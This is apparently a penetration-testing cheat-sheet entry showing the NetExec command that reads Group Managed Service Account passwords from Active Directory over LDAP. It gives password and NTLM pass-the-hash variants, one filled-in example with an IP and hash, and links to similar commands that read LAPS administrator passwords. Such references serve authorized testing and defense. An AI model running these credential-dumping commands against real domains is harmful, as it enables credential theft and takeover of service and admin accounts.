NetExec LDAP gMSA Dump

Read Group Managed Service Account passwords via NetExec

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / gMSA & LAPS
Platform: linux
Requires: password
Protocols: LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ldap '<ip>' -u '<user>' -p '<password>' --gmsa

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc ldap '<ip>' -u '<user>' -H '<hash>' --gmsa

Examples

nxc ldap '192.168.1.2' -u 'provisioningsvc' -H '44dea6608c25a85d578d0c2b6f8355c4' --gmsa

Tags

nxc ldap gmsa service-account password

BloodyAD LAPS Password Read Read LAPS passwords from Active Directory using BloodyAD
gMSA Password Dump Read password of Group Managed Service Account
Impacket GetLAPSPassword Retrieve LAPS managed local administrator passwords from Active Directory
NetExec LAPS Module (Read ms-MCS-AdmPwd) Read LAPS-managed local admin passwords from ms-MCS-AdmPwd / msLAPS-Password attributes…
NetExec LDAP LAPS Retrieve LAPS managed local administrator passwords from Active Directory via LDAP